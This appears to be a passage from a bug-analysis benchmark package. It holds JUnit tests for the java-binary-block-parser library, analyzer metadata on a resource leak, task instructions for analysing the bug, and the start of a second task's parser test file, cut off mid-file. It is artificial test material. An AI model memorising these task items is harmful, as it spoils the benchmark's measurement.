+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte((byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.ByteOrder(JBBPByteOrder.BIG_ENDIAN);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Flush();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1,2);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L,2L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short((short)1,(short)2,(short)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.end();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+  }
+  
+  @Test
+  public void testExternalStreamButNoByteArrayOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final DataOutputStream dout = new DataOutputStream(buffer);
+    
+    assertNull(binStart(dout).Byte(1,2,3).end());
+    assertArrayEquals(new byte[]{1,2,3}, buffer.toByteArray());
+  }
+  
+  @Test(expected = IllegalArgumentException.class)
+  public void testExceptionForBitOrderConfilctInCaseOfUsageBitOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPBitOutputStream bitstream = new JBBPBitOutputStream(buffer,JBBPBitOrder.LSB0);
+    
+    new JBBPOut(bitstream,JBBPByteOrder.BIG_ENDIAN,JBBPBitOrder.MSB0);
+  }
+  
+  @Test
+  public void testComplexWriting_1() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream(16384);
+
+    final JBBPOut begin = new JBBPOut(buffer);
+
+    begin.
+            Bit(1, 2, 3, 0).
+            Bit(true, false, true).
+            Align().
+            Byte(5).
+            Short(1, 2, 3, 4, 5).
+            Bool(true, false, true, true).
+            Int(0xABCDEF23, 0xCAFEBABE).
+            Long(0x123456789ABCDEF1L, 0x212356239091AB32L).
+            end();
+
+    final byte[] array = buffer.toByteArray();
+
+    assertEquals(40, array.length);
+    assertArrayEquals(new byte[]{
+      (byte) 0x55, 5, 0, 1, 0, 2, 0, 3, 0, 4, 0, 5, 1, 0, 1, 1,
+      (byte) 0xAB, (byte) 0xCD, (byte) 0xEF, 0x23, (byte) 0xCA, (byte) 0xFE, (byte) 0xBA, (byte) 0xBE,
+      0x12, 0x34, 0x56, 0x78, (byte) 0x9A, (byte) 0xBC, (byte) 0xDE, (byte) 0xF1, 0x21, 0x23, 0x56, 0x23, (byte) 0x90, (byte) 0x91, (byte) 0xAB, 0x32
+
+    }, array);
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.igormaznitsa.jbbp.io.JBBPBitOutputStream` acquired by call to `binStart()` at line 130 is not released after line 130.
+**Note**: potential exception at line 130
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JBBPOutTest.testShort()
+
+### Procedure Id:
+com.igormaznitsa.jbbp.io.JBBPOutTest.testShort():void.06082cb5922016d947c9eeecf34c2a92
+
+### File:
+src/test/java/com/igormaznitsa/jbbp/io/JBBPOutTest.java
+
+### Key:
+JBBPOutTest.java|testShort|RESOURCE_LEAK
+
+### Node Key:
+3136f63d7119a7aa69484bac205f617e
+
+### Hash:
+65bb54f50afec3a085c2acff54006227
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9085/instruction.md b/inferredbugs-9085/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3a889ad9e2855fcba35ca3408f414c752e1fb18e
--- /dev/null
+++ b/inferredbugs-9085/instruction.md
@@ -0,0 +1,1149 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-binary-block-parser
+**Bug ID:** 42
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/* 
+ * Copyright 2014 Igor Maznitsa (http://www.igormaznitsa.com).
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.igormaznitsa.jbbp;
+
+import com.igormaznitsa.jbbp.exceptions.JBBPParsingException;
+import com.igormaznitsa.jbbp.exceptions.JBBPTooManyFieldsFoundException;
+import com.igormaznitsa.jbbp.model.*;
+import java.io.EOFException;
+import static org.junit.Assert.*;
+import org.junit.Test;
+
+public class JBBPParserTest {
+
+  @Test(expected=EOFException.class)
+  public void testParse_Bool_ErrorForEOF() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("bool;");
+    parser.parse(new byte[0]);
+  }
+
+  @Test
+  public void testParse_SingleDefaultNonamedBool_Default() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("bool;");
+    JBBPFieldStruct result = parser.parse(new byte[]{(byte) 1});
+    assertTrue(result.findFieldForType(JBBPFieldBoolean.class).getAsBool());
+    result = parser.parse(new byte[]{(byte) 0});
+    assertFalse(result.findFieldForType(JBBPFieldBoolean.class).getAsBool());
+  }
+
+  @Test
+  public void testParse_SingleDefaultNonamedBool_BigEndian() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare(">bool;");
+    JBBPFieldStruct result = parser.parse(new byte[]{(byte) 1});
+    assertTrue(result.findFieldForType(JBBPFieldBoolean.class).getAsBool());
+    result = parser.parse(new byte[]{(byte) 0});
+    assertFalse(result.findFieldForType(JBBPFieldBoolean.class).getAsBool());
+  }
+
+  @Test
+  public void testParse_SingleDefaultNonamedBool_LittleEndian() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("<bool;");
+    JBBPFieldStruct result = parser.parse(new byte[]{(byte) 1});
+    assertTrue(result.findFieldForType(JBBPFieldBoolean.class).getAsBool());
+    result = parser.parse(new byte[]{(byte) 0});
+    assertFalse(result.findFieldForType(JBBPFieldBoolean.class).getAsBool());
+  }
+  
+  @Test(expected = EOFException.class)
+  public void testParse_Byte_ErrorForEOF() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("byte;");
+    parser.parse(new byte[0]);
+  }
+
+  @Test
+  public void testParse_SingleDefaultNonamedByte_Default() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("byte;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{(byte)-42});
+    assertEquals(-42, result.findFieldForType(JBBPFieldByte.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_SingleDefaultNonamedByte_BigEndian() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare(">byte;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{(byte)-42});
+    assertEquals(-42, result.findFieldForType(JBBPFieldByte.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_SingleDefaultNonamedByte_LittleEndian() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("<byte;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{(byte)-42});
+    assertEquals(-42, result.findFieldForType(JBBPFieldByte.class).getAsInt());
+  }
+  
+  @Test(expected = EOFException.class)
+  public void testParse_UByte_ErrorForEOF() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("ubyte;");
+    parser.parse(new byte[0]);
+  }
+
+  @Test
+  public void testParse_SingleDefaultNonamedUByte_Default() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("ubyte;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{(byte)-42});
+    assertEquals(-42 & 0xFF, result.findFieldForType(JBBPFieldUByte.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_SingleDefaultNonamedUByte_BigEndian() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare(">ubyte;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{(byte)-42});
+    assertEquals(-42 & 0xFF, result.findFieldForType(JBBPFieldUByte.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_SingleDefaultNonamedUByte_LittleEndian() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("<ubyte;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{(byte)-42});
+    assertEquals(-42 & 0xFF, result.findFieldForType(JBBPFieldUByte.class).getAsInt());
+  }
+  
+  @Test(expected = EOFException.class)
+  public void testParse_Short_ErrorForEOF() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("short;");
+    parser.parse(new byte[0]);
+  }
+
+  @Test
+  public void testParse_SingleDefaultNonamedShort_Default() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("short;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{1,2});
+    assertEquals(0x0102, result.findFieldForType(JBBPFieldShort.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_SingleDefaultNonamedShort_BigEndian() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare(">short;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{1,2});
+    assertEquals(0x0102, result.findFieldForType(JBBPFieldShort.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_SingleDefaultNonamedShort_LittleEndian() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("<short;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{1,2});
+    assertEquals(0x0201, result.findFieldForType(JBBPFieldShort.class).getAsInt());
+  }
+  
+  @Test(expected = EOFException.class)
+  public void testParse_UShort_ErrorForEOF() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("ushort;");
+    parser.parse(new byte[0]);
+  }
+
+  @Test
+  public void testParse_SingleDefaultNonamedUShort_Default() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("ushort;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{-1,-2});
+    assertEquals(((-1 << 8) | (-2 & 0xFF)) & 0xFFFF, result.findFieldForType(JBBPFieldUShort.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_SingleDefaultNonamedUShort_BigEndian() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare(">ushort;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{-1,-2});
+    assertEquals(((-1 << 8) | (-2 & 0xFF)) & 0xFFFF, result.findFieldForType(JBBPFieldUShort.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_SingleDefaultNonamedUShort_LittleEndian() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("<ushort;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{-1,-2});
+    assertEquals(((-2 << 8) | (-1 & 0xFF)) & 0xFFFF, result.findFieldForType(JBBPFieldUShort.class).getAsInt());
+  }
+  
+  @Test(expected = EOFException.class)
+  public void testParse_Int_ErrorForEOF() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("int;");
+    parser.parse(new byte[0]);
+  }
+  
+  @Test
+  public void testParse_SingleDefaultNonamedInt_Default() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("int;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{1,2,3,4});
+    assertEquals(0x01020304, result.findFieldForType(JBBPFieldInt.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_SingleDefaultNonamedInt_BigEndian() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare(">int;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{1,2,3,4});
+    assertEquals(0x01020304, result.findFieldForType(JBBPFieldInt.class).getAsInt());
+  }
+  
+  @Test
+  public void testParse_SingleDefaultNonamedInt_LittleEndian() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("<int;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{1,2,3,4});
+    assertEquals(0x04030201, result.findFieldForType(JBBPFieldInt.class).getAsInt());
+  }
+  
+  @Test(expected = EOFException.class)
+  public void testParse_Long_ErrorForEOF() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("long;");
+    parser.parse(new byte[0]);
+  }
+  
+  @Test
+  public void testParse_SingleDefaultNonamedLong_Default() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("long;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{1,2,3,4,5,6,7,8});
+    assertEquals(0x0102030405060708L, result.findFieldForType(JBBPFieldLong.class).getAsLong());
+  }
+  
+  @Test
+  public void testParse_SingleDefaultNonamedLong_BigEndian() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare(">long;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{1,2,3,4,5,6,7,8});
+    assertEquals(0x0102030405060708L, result.findFieldForType(JBBPFieldLong.class).getAsLong());
+  }
+  
+  @Test
+  public void testParse_SingleDefaultNonamedLong_LittleEndian() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("<long;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{1,2,3,4,5,6,7,8});
+    assertEquals(0x0807060504030201L, result.findFieldForType(JBBPFieldLong.class).getAsLong());
+  }
+  
+  @Test
+  public void testParse_SeveralPrimitiveFields() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("bit:4; bit:4; bool; byte; ubyte; short; ushort; int; long;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{0x12,1,87,(byte)0xF3,1,2,(byte)0xFE,4,6,7,8,9,(byte)0xFF,1,2,3,5,6,7,8,9});
+    
+    assertEquals(2, result.findFirstFieldForType(JBBPFieldBit.class).getAsInt());
+    assertEquals(1, result.findLastFieldForType(JBBPFieldBit.class).getAsInt());
+    
+    try{
+      result.findFieldForType(JBBPFieldBit.class);
+      fail("Must throw JBBPTooManyFieldsFoundException");
+    }catch(JBBPTooManyFieldsFoundException ex){
+      assertEquals(2, ex.getNumberOfFoundInstances());
+    }
+    
+    assertTrue(result.findFieldForType(JBBPFieldBoolean.class).getAsBool());
+    assertEquals(87,result.findFieldForType(JBBPFieldByte.class).getAsInt());
+    assertEquals(0xF3,result.findFieldForType(JBBPFieldUByte.class).getAsInt());
+    assertEquals(0x0102,result.findFieldForType(JBBPFieldShort.class).getAsInt());
+    assertEquals(0xFE04,result.findFieldForType(JBBPFieldUShort.class).getAsInt());
+    assertEquals(0x06070809,result.findFieldForType(JBBPFieldInt.class).getAsInt());
+    assertEquals(0xFF01020305060708L,result.findFieldForType(JBBPFieldLong.class).getAsLong());
+  }
+
+  @Test
+  public void testParse_Align_Default_EmptyStream_NoErrors() throws Exception {
+    JBBPParser.prepare("byte; align;").parse(new byte[]{1});
+  }
+  
+  @Test(expected=EOFException.class)
+  public void testParse_Align_ErrorForEOF() throws Exception {
+    JBBPParser.prepare("byte; align:34;").parse(new byte[]{1});
+  }
+  
+  @Test
+  public void testParse_Align_Default() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("bit:4; align; bool; byte; ubyte; short; ushort; int; long;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{0x12,1,87,(byte)0xF3,1,2,(byte)0xFE,4,6,7,8,9,(byte)0xFF,1,2,3,5,6,7,8,9});
+    assertEquals(2, result.findFieldForType(JBBPFieldBit.class).getAsInt());
+    assertTrue(result.findFieldForType(JBBPFieldBoolean.class).getAsBool());
+    assertEquals(87,result.findFieldForType(JBBPFieldByte.class).getAsInt());
+    assertEquals(0xF3,result.findFieldForType(JBBPFieldUByte.class).getAsInt());
+    assertEquals(0x0102,result.findFieldForType(JBBPFieldShort.class).getAsInt());
+    assertEquals(0xFE04,result.findFieldForType(JBBPFieldUShort.class).getAsInt());
+    assertEquals(0x06070809,result.findFieldForType(JBBPFieldInt.class).getAsInt());
+    assertEquals(0xFF01020305060708L,result.findFieldForType(JBBPFieldLong.class).getAsLong());
+  }
+
+  @Test
+  public void testParse_Align_LongDistance() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("ubyte; align:32000; short;");
+    
+    final byte [] data = new byte [32002];
+    data[0] = (byte) 0xFE;
+    data[32000] = 0x12;
+    data[32001] = 0x34;
+    
+    final JBBPFieldStruct root = parser.parse(data);
+    
+    assertEquals(0xFE, root.findFieldForType(JBBPFieldUByte.class).getAsInt());
+    assertEquals(0x1234, root.findFieldForType(JBBPFieldShort.class).getAsInt());
+  }
+
+  @Test(expected=EOFException.class)
+  public void testParse_Skip_Default_ErrorForEOF() throws Exception {
+    JBBPParser.prepare("byte; skip;").parse(new byte[]{1});
+  }
+
+  @Test(expected = EOFException.class)
+  public void testParse_Skip_ErrorForEOF() throws Exception {
+    JBBPParser.prepare("byte; skip:34;").parse(new byte[]{1});
+  }
+
+  @Test
+  public void testParse_Skip_WithoutArgument() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("byte; skip; short;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{1, 2, 3, 4, 5, 6, 7, 8});
+    assertEquals(1, result.findFirstFieldForType(JBBPFieldByte.class).getAsInt());
+    assertEquals(0x0304, result.findFieldForType(JBBPFieldShort.class).getAsInt());
+  }
+
+  @Test
+  public void testParse_Skip_ShortDistance() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("byte; skip:3; short;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{1, 2, 3, 4, 5, 6, 7, 8});
+    assertEquals(1, result.findFirstFieldForType(JBBPFieldByte.class).getAsInt());
+    assertEquals(0x0506, result.findFieldForType(JBBPFieldShort.class).getAsInt());
+  }
+
+  @Test
+  public void testParse_Skip_LongDistance() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("byte; skip:32000; short;");
+    final byte [] data = new byte [32003];
+    data[0] = 1;
+    data[32001]=0x0A;
+    data[32002]=0x0B;
+    final JBBPFieldStruct result = parser.parse(data);
+    assertEquals(1, result.findFirstFieldForType(JBBPFieldByte.class).getAsInt());
+    assertEquals(0x0A0B, result.findFieldForType(JBBPFieldShort.class).getAsInt());
+  }
+
+  @Test(expected = EOFException.class)
+  public void testParse_Skip_TooLongDistance() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("byte; skip:33; short;");
+    parser.parse(new byte[]{1, 2, 3, 4, 5, 6, 7, 8});
+  }
+
+  @Test
+  public void testParse_Align_Int_WithEffect() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("byte; byte; align:4; int;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{1,2,3,4,5,6,7,8});
+    assertEquals(1, result.findFirstFieldForType(JBBPFieldByte.class).getAsInt());
+    assertEquals(2, result.findLastFieldForType(JBBPFieldByte.class).getAsInt());
+    assertEquals(0x05060708, result.findLastFieldForType(JBBPFieldInt.class).getAsInt());
+  }
+
+  @Test
+  public void testParse_Align_Int_WithoutEffect() throws Exception {
+    final JBBPParser parser = JBBPParser.prepare("byte; byte; byte; byte; align:4; int;");
+    final JBBPFieldStruct result = parser.parse(new byte[]{1,2,3,4,5,6,7,8});
+    assertEquals(1, result.findFirstFieldForType(JBBPFieldByte.class).getAsInt());
+    assertEquals(4, result.findLastFieldForType(JBBPFieldByte.class).getAsInt());
+    assertEquals(0x05060708, result.findLastFieldForType(JBBPFieldInt.class).getAsInt());
+  }
+
+  @Test(expected=EOFException.class)
+  public void testParse_FixedBitArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; bit:4[1];").parse(new byte[]{1});
+  }
+  
+  @Test
+  public void testParse_NonFixedBitArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; bit:4[_];").parse(new byte[]{1});
+  }
+
+
+  @Test
+  public void testParse_FixedBitArray() throws Exception {
+    final JBBPFieldArrayBit bits = JBBPParser.prepare("bit:4 [8];").parse(new byte[]{0x21, 0x43, 0x65, (byte)0x87}).findFieldForType(JBBPFieldArrayBit.class);
+    assertEquals(8, bits.size());
+    assertEquals(1, bits.getAsInt(0));
+    assertEquals(2, bits.getAsInt(1));
+    assertEquals(3, bits.getAsInt(2));
+    assertEquals(4, bits.getAsInt(3));
+    assertEquals(5, bits.getAsInt(4));
+    assertEquals(6, bits.getAsInt(5));
+    assertEquals(7, bits.getAsInt(6));
+    assertEquals(8, bits.getAsInt(7));
+  }
+  
+  @Test
+  public void testParse_NonFixedBitArray() throws Exception {
+    final JBBPFieldArrayBit bits = JBBPParser.prepare("bit:4 [_];").parse(new byte[]{0x21, 0x43, 0x65, (byte)0x87}).findFieldForType(JBBPFieldArrayBit.class);
+    assertEquals(8, bits.size());
+    assertEquals(1, bits.getAsInt(0));
+    assertEquals(2, bits.getAsInt(1));
+    assertEquals(3, bits.getAsInt(2));
+    assertEquals(4, bits.getAsInt(3));
+    assertEquals(5, bits.getAsInt(4));
+    assertEquals(6, bits.getAsInt(5));
+    assertEquals(7, bits.getAsInt(6));
+    assertEquals(8, bits.getAsInt(7));
+  }
+  
+  @Test(expected = EOFException.class)
+  public void testParse_FixedByteArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; byte[1];").parse(new byte[]{1});
+  }
+
+  @Test
+  public void testParse_NonFixedByteArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; byte[_];").parse(new byte[]{1});
+  }
+
+  @Test
+  public void testParse_FixedByteArray_Default() throws Exception {
+    final JBBPFieldArrayByte bytes = JBBPParser.prepare("byte[4];").parse(new byte[]{0x21, 0x43, 0x65, (byte)0x87}).findFieldForType(JBBPFieldArrayByte.class);
+    assertEquals(4, bytes.size());
+    assertEquals(0x21, bytes.getAsInt(0) & 0xFF);
+    assertEquals(0x43, bytes.getAsInt(1) & 0xFF);
+    assertEquals(0x65, bytes.getAsInt(2) & 0xFF);
+    assertEquals(0x87, bytes.getAsInt(3) & 0xFF);
+  }
+  
+  @Test
+  public void testParse_FixedByteArray_BigEndian() throws Exception {
+    final JBBPFieldArrayByte bytes = JBBPParser.prepare(">byte[4];").parse(new byte[]{0x21, 0x43, 0x65, (byte)0x87}).findFieldForType(JBBPFieldArrayByte.class);
+    assertEquals(4, bytes.size());
+    assertEquals(0x21, bytes.getAsInt(0) & 0xFF);
+    assertEquals(0x43, bytes.getAsInt(1) & 0xFF);
+    assertEquals(0x65, bytes.getAsInt(2) & 0xFF);
+    assertEquals(0x87, bytes.getAsInt(3) & 0xFF);
+  }
+  
+  @Test
+  public void testParse_FixedByteArray_LittleEndian() throws Exception {
+    final JBBPFieldArrayByte bytes = JBBPParser.prepare("<byte[4];").parse(new byte[]{0x21, 0x43, 0x65, (byte)0x87}).findFieldForType(JBBPFieldArrayByte.class);
+    assertEquals(4, bytes.size());
+    assertEquals(0x21, bytes.getAsInt(0) & 0xFF);
+    assertEquals(0x43, bytes.getAsInt(1) & 0xFF);
+    assertEquals(0x65, bytes.getAsInt(2) & 0xFF);
+    assertEquals(0x87, bytes.getAsInt(3) & 0xFF);
+  }
+  
+  
+  @Test
+  public void testParse_NonFixedByteArray_Default() throws Exception {
+    final JBBPFieldArrayByte bytes = JBBPParser.prepare("byte[_];").parse(new byte[]{0x21, 0x43, 0x65, (byte)0x87}).findFieldForType(JBBPFieldArrayByte.class);
+    assertEquals(4, bytes.size());
+    assertEquals(0x21, bytes.getAsInt(0) & 0xFF);
+    assertEquals(0x43, bytes.getAsInt(1) & 0xFF);
+    assertEquals(0x65, bytes.getAsInt(2) & 0xFF);
+    assertEquals(0x87, bytes.getAsInt(3) & 0xFF);
+  }
+  
+  @Test
+  public void testParse_NonFixedByteArray_BigEndian() throws Exception {
+    final JBBPFieldArrayByte bytes = JBBPParser.prepare(">byte[_];").parse(new byte[]{0x21, 0x43, 0x65, (byte)0x87}).findFieldForType(JBBPFieldArrayByte.class);
+    assertEquals(4, bytes.size());
+    assertEquals(0x21, bytes.getAsInt(0) & 0xFF);
+    assertEquals(0x43, bytes.getAsInt(1) & 0xFF);
+    assertEquals(0x65, bytes.getAsInt(2) & 0xFF);
+    assertEquals(0x87, bytes.getAsInt(3) & 0xFF);
+  }
+  
+  @Test
+  public void testParse_NonFixedByteArray_LittleEndian() throws Exception {
+    final JBBPFieldArrayByte bytes = JBBPParser.prepare("<byte[_];").parse(new byte[]{0x21, 0x43, 0x65, (byte)0x87}).findFieldForType(JBBPFieldArrayByte.class);
+    assertEquals(4, bytes.size());
+    assertEquals(0x21, bytes.getAsInt(0) & 0xFF);
+    assertEquals(0x43, bytes.getAsInt(1) & 0xFF);
+    assertEquals(0x65, bytes.getAsInt(2) & 0xFF);
+    assertEquals(0x87, bytes.getAsInt(3) & 0xFF);
+  }
+  
+  @Test(expected = EOFException.class)
+  public void testParse_FixedUByteArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; ubyte[1];").parse(new byte[]{1});
+  }
+
+  @Test
+  public void testParse_NonFixedUByteArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; ubyte[_];").parse(new byte[]{1});
+  }
+  
+  @Test
+  public void testParse_FixedUByteArray_Default() throws Exception {
+    final JBBPFieldArrayUByte bytes = JBBPParser.prepare("ubyte[4];").parse(new byte[]{0x21, 0x43, 0x65, (byte)0x87}).findFieldForType(JBBPFieldArrayUByte.class);
+    assertEquals(4, bytes.size());
+    assertEquals(0x21, bytes.getAsInt(0));
+    assertEquals(0x43, bytes.getAsInt(1));
+    assertEquals(0x65, bytes.getAsInt(2));
+    assertEquals(0x87, bytes.getAsInt(3));
+  }
+  
+  @Test
+  public void testParse_FixedUByteArray_BigEndian() throws Exception {
+    final JBBPFieldArrayUByte bytes = JBBPParser.prepare(">ubyte[4];").parse(new byte[]{0x21, 0x43, 0x65, (byte)0x87}).findFieldForType(JBBPFieldArrayUByte.class);
+    assertEquals(4, bytes.size());
+    assertEquals(0x21, bytes.getAsInt(0));
+    assertEquals(0x43, bytes.getAsInt(1));
+    assertEquals(0x65, bytes.getAsInt(2));
+    assertEquals(0x87, bytes.getAsInt(3));
+  }
+  
+  @Test
+  public void testParse_FixedUByteArray_LittleEndian() throws Exception {
+    final JBBPFieldArrayUByte bytes = JBBPParser.prepare("<ubyte[4];").parse(new byte[]{0x21, 0x43, 0x65, (byte)0x87}).findFieldForType(JBBPFieldArrayUByte.class);
+    assertEquals(4, bytes.size());
+    assertEquals(0x21, bytes.getAsInt(0));
+    assertEquals(0x43, bytes.getAsInt(1));
+    assertEquals(0x65, bytes.getAsInt(2));
+    assertEquals(0x87, bytes.getAsInt(3));
+  }
+  
+  
+  @Test
+  public void testParse_NonFixedUByteArray_Default() throws Exception {
+    final JBBPFieldArrayUByte bytes = JBBPParser.prepare("ubyte[_];").parse(new byte[]{0x21, 0x43, 0x65, (byte)0x87}).findFieldForType(JBBPFieldArrayUByte.class);
+    assertEquals(4, bytes.size());
+    assertEquals(0x21, bytes.getAsInt(0));
+    assertEquals(0x43, bytes.getAsInt(1));
+    assertEquals(0x65, bytes.getAsInt(2));
+    assertEquals(0x87, bytes.getAsInt(3));
+  }
+  
+  @Test
+  public void testParse_NonFixedUByteArray_BigEndian() throws Exception {
+    final JBBPFieldArrayUByte bytes = JBBPParser.prepare(">ubyte[_];").parse(new byte[]{0x21, 0x43, 0x65, (byte)0x87}).findFieldForType(JBBPFieldArrayUByte.class);
+    assertEquals(4, bytes.size());
+    assertEquals(0x21, bytes.getAsInt(0));
+    assertEquals(0x43, bytes.getAsInt(1));
+    assertEquals(0x65, bytes.getAsInt(2));
+    assertEquals(0x87, bytes.getAsInt(3));
+  }
+  
+  @Test
+  public void testParse_NonFixedUByteArray_LittleEndian() throws Exception {
+    final JBBPFieldArrayUByte bytes = JBBPParser.prepare("<ubyte[_];").parse(new byte[]{0x21, 0x43, 0x65, (byte)0x87}).findFieldForType(JBBPFieldArrayUByte.class);
+    assertEquals(4, bytes.size());
+    assertEquals(0x21, bytes.getAsInt(0));
+    assertEquals(0x43, bytes.getAsInt(1));
+    assertEquals(0x65, bytes.getAsInt(2));
+    assertEquals(0x87, bytes.getAsInt(3));
+  }
+  
+  @Test(expected = EOFException.class)
+  public void testParse_FixedBooleanArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; bool[1];").parse(new byte[]{1});
+  }
+
+  @Test
+  public void testParse_NonFixedBooleanArray_EOFException() throws Exception {
+    JBBPParser.prepare("byte; bool[_];").parse(new byte[]{1});
+  }
+  
+  @Test
+  public void testParse_FixedBooleanArray_Default() throws Exception {
